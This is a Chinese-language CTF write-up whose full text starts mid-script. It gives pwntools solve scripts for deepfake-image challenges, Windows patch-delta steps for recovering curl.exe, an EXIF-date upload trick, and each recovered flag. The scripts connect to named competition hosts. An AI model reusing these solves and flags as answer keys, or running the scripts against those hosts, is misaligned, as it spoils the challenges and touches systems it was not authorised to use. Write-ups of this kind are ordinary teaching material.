                return solution
        if time.time() - start_time >= timeout:
            return None
            
def save_image():
    count = 0   
    for i in range(20):
        p.recvuntil(b'Is this picture real or not (Y/N)? \n')
        b64_image = p.recvuntil(b'\n', drop=True)
        # compared with the local images using b64, if the image is not in the local images, save it
        # using a uuid as the filename
        # if folder is empty, save the image directly
        if not os.listdir('images'):
            with open(f'images/{uuid.uuid4()}.png', 'wb') as f:
                f.write(base64.b64decode(b64_image))
                count += 1
        else:
            save_flag = True
            for filename in os.listdir('images'):
                with open(f'images/{filename}', 'rb') as f:
                    if base64.b64encode(f.read()).decode() == b64_image.decode():
                        save_flag = False
                        break
            if save_flag:
                with open(f'images/{uuid.uuid4()}.png', 'wb') as f:
                    f.write(base64.b64decode(b64_image))
                    count += 1

    info(f"save {count} images")

p = remote('instance.penguin.0ops.sjtu.cn', 18081)
p.send(b'CONNECT w44bxg7cgh48frjc:1 HTTP/1.1\r\n\r\n')
p.recvuntil(b"solution + '")
challenge = p.recvuntil(b"'", drop=True).decode()
info(f"challenge: {challenge}")
# p.interactive()
solution = solve_pow(challenge)
info(f"solution: {solution}")
p.sendline(solution.encode())
save_image()
p.close()

这道题的标签我一开始是用模型打的,但是准确率并不高。exp如下:

import hashlib
import base64
import os
import time
from pwn import *

context.log_level = 'info'

def verify_pow_solution(challenge, solution):
    prefix = "0000"
    guess = solution + challenge
    guess_hash = hashlib.sha256(guess.encode()).hexdigest()
    return guess_hash.startswith(prefix)

def solve_pow(challenge, difficulty=4, timeout=0.5):
    start_time = time.time()
    while True:
        for solution in (f"{i:0{difficulty}x}" for i in range(16 ** difficulty)):
            if verify_pow_solution(challenge, solution):
                return solution
        if time.time() - start_time >= timeout:
            return None
            
def eval_image():
    for _ in range(20):
        p.recvuntil(b'Is this picture real or not (Y/N)? \n')
        b64_image = p.recvuntil(b'\n', drop=True)
        for filename in os.listdir('images_model'):
            with open(f'images_model/{filename}', 'rb') as f:
                if base64.b64encode(f.read()).decode() == b64_image.decode():
                    correct_answer = filename[-5].upper()
                    file_list.append(filename)
                    if correct_answer != 'Y' and correct_answer != 'N':
                        correct_answer = 'N'
                    correct_answers.append(correct_answer)
                    break

    p.recvuntil(b" all 20 rounds (Y/N): ")
    data = ''.join(correct_answers)
    info(data)
    p.sendline(data.encode())


while True:
    correct_answers = []
    file_list = []
    p = remote('instance.penguin.0ops.sjtu.cn', 18081)
    p.send(b'CONNECT gmvfevkv2k6p982q:1 HTTP/1.1\r\n\r\n')
    p.recvuntil(b"solution + '")
    challenge = p.recvuntil(b"'", drop=True).decode()
    info(f"challenge: {challenge}")
    # p.interactive()
    solution = solve_pow(challenge)
    if solution is None:
        p.close()
        continue
    info(f"solution: {solution}")
    p.sendline(solution.encode())
    eval_image()
    try:
        response = p.recvuntil(b"Incorrect answer for Round ", timeout=0.3)
        wrong_round = p.recvuntil(b".", drop=True)
        info(f"wrong_round: {wrong_round}")
        wrong_round = int(wrong_round)
        wrong_filename = file_list[wrong_round - 1]
        # change the filename to the right answer(opposite of original answer)
        # modify the filename to the right answer
        correct_answer = correct_answers[wrong_round - 1]
        if correct_answer == 'Y':
            correct_answer = 'N'
        else:
            correct_answer = 'Y'
        right_filename = wrong_filename[:-5] + correct_answer + '.png'
        # append the wrong filename to log.txt
        with open('log.txt', 'a') as f:
            f.write(f'{wrong_filename}\n')
        os.rename(f'images_model/{wrong_filename}', f'images_model/{right_filename}')
        p.close()
        continue
    except:
        break

p.interactive()

flag:

flag{DeepFake_1s_Ea5y_aNd_1ntere5t1ng!}

RealOrNotRevenge
#

本题考察的是谷歌识图的能力。

下载图片和之前一样,这道题我下载下来只有86张图片。我全部拿去谷歌识图,能搜到的大多数是unsplash上的图片。能搜到的我都标记Y,搜不到的都标记N。准确率似乎极高。。。跑个几次就出flag了。因此主要工作量在于我手动谷歌识图,但是应该可以写代码调用API?

exp如下:

import hashlib
import base64
import os
import time
from pwn import *

context.log_level = 'info'

def verify_pow_solution(challenge, solution):
    prefix = "00000"
    guess = solution + challenge
    guess_hash = hashlib.sha256(guess.encode()).hexdigest()
    return guess_hash.startswith(prefix)

def solve_pow(challenge, difficulty=5, timeout=3):
    start_time = time.time()
    while True:
        for solution in (f"{i:0{difficulty}x}" for i in range(16 ** difficulty)):
            if verify_pow_solution(challenge, solution):
                return solution
        if time.time() - start_time >= timeout:
            return None
            
def eval_image():
    for _ in range(20):
        p.recvuntil(b'Is this picture real or not (Y/N)? \n')
        b64_image = p.recvuntil(b'\n', drop=True)
        for filename in os.listdir('images_model'):
            with open(f'images_model/{filename}', 'rb') as f:
                if base64.b64encode(f.read()).decode() == b64_image.decode():
                    correct_answer = filename[-5].upper()
                    file_list.append(filename)
                    if correct_answer != 'Y' and correct_answer != 'N':
                        correct_answer = 'N'
                    correct_answers.append(correct_answer)
                    break

    p.recvuntil(b" all 20 rounds (Y/N): ")
    data = ''.join(correct_answers)
    info(data)
    p.sendline(data.encode())


while True:
    correct_answers = []
    file_list = []
    p = remote('instance.penguin.0ops.sjtu.cn', 18081)
    p.send(b'CONNECT 6gmer7hwgjkkh6fc:1 HTTP/1.1\r\n\r\n')
    p.recvuntil(b"solution + '")
    challenge = p.recvuntil(b"'", drop=True).decode()
    info(f"challenge: {challenge}")
    # p.interactive()
    solution = solve_pow(challenge)
    if solution is None:
        p.close()
        continue
    info(f"solution: {solution}")
    p.sendline(solution.encode())
    eval_image()
    print(len(file_list))
    response = p.recvline()
    if b'flag' in response:
        print(response)
        break
    p.close()

flag:

flag{Revenge_1s_Ea5y_aNd_1ntere5t1ng!}

f and r
#

本题考察的是信息检索能力和动手能力。

几乎全靠这篇文章:

https://wumb0.in/extracting-and-diffing-ms-patches-in-2020.html

根据文章提到的步骤把msu里面的cab提取出来:

mkdir content
expand.exe -F:* ".\windows10.0-kb114514-x64.msu" ./content
cd content
mkdir content
expand.exe -F:* ".\Windows10.0-KB114514-x64.cab" ./content
cd content
mkdir content
expand.exe -F:* ".\Windows10.0-KB114514-x64.cab" ./content
cd content
mkdir content
expand.exe -F:* ".\Cab_for_KB114514_PSFX.cab" ./content

发现f和r文件夹下都有curl.exe。那么我们要做的就是从delta和curl.exe恢复出一个二进制文件。

需要利用作者编写的delta_patch.py。但是直接将题目给的f和r喂进去是行不通的。

文中有这么一段:

To generate the binaries I want I’m going to apply the reverse delta and then each forward delta, creating two output files:

PS > python X:\Patches\tools\delta_patch.py -i ntoskrnl.exe -o ntoskrnl.2020-07.exe .\r\ntoskrnl.exe X:\Patches\x64\1903\2020\2020-07\x64\os-kernel_10.0.18362.959\f\ntoskrnl.exe
Applied 2 patches successfully
Final hash: zZC/JZ+y5ZLrqTvhRVNf1/79C4ZYwXgmZ+DZBMoq8ek=
PS > python X:\Patches\tools\delta_patch.py -i ntoskrnl.exe -o ntoskrnl.2020-08.exe .\r\ntoskrnl.exe X:\Patches\x64\1903\2020\2020-08\x64\os-kernel_10.0.18362.1016\f\ntoskrnl.exe
Applied 2 patches successfully
Final hash: UZw7bE231NL2R0S4yBNT1nmDW8PQ83u9rjp91AiCrUQ=

何意呢,目测是说:

我们有一个比较新的文件,一个旧补丁,一个处于中间的补丁。利用旧补丁的r回到旧版本,再用中间补丁的f就可以生成中间版本。

update.mum里面有一串网址:https://support.macrohard.com/help/5034203

好好好把巨硬改成微软,发现是KB5034203更新,那就把这个msu下载下来,提取出其中curl的f和r。

然后用KB5034203的r回滚到旧版本,用题目给的f生成我们要的二进制文件。

python delta_patch.py -i curl.exe -o curl.patched.exe .\kb5034203\r\curl.exe .\kb114514\amd64_curl_0o0o0o0o0o0o0o0_10.0.19041.9999_none_0o0o0o0o0o0o0o0\f\curl.exe
.\curl.patched.exe --version

得到flag:

flag{ dc1d03c554150a cedca6d71ce394 }

去掉空格即可。

Boy’s Bullet
#

本题考查图片exif编辑能力和阅读理解能力。

回旋镖是吧。2000年出生的男孩24岁开枪38岁噶了,我作为一个2024年出生的照片也应该38岁时噶,所以应该是2062年。刚开始这个时间戳没搞明白啥意思,一开始文件名里带时间错,后来在图片里加时间戳,后来才猛地想起exif也有时间戳。

用这个网站随便修改了一张图片的exif信息(Modify Date),然后上传:

curl -T 2062.jpeg http://111.186.57.85:10038

就能得到flag:

flag{47_7h15_m0m3n7_3duc4710n_h45_c0mp1373d_4_72u1y_c1053d_100p}

result

没记flag,学校那个莫名连不上,换geekctf复现的。

BeaCox
Author
BeaCox
Stay humble, remain critical.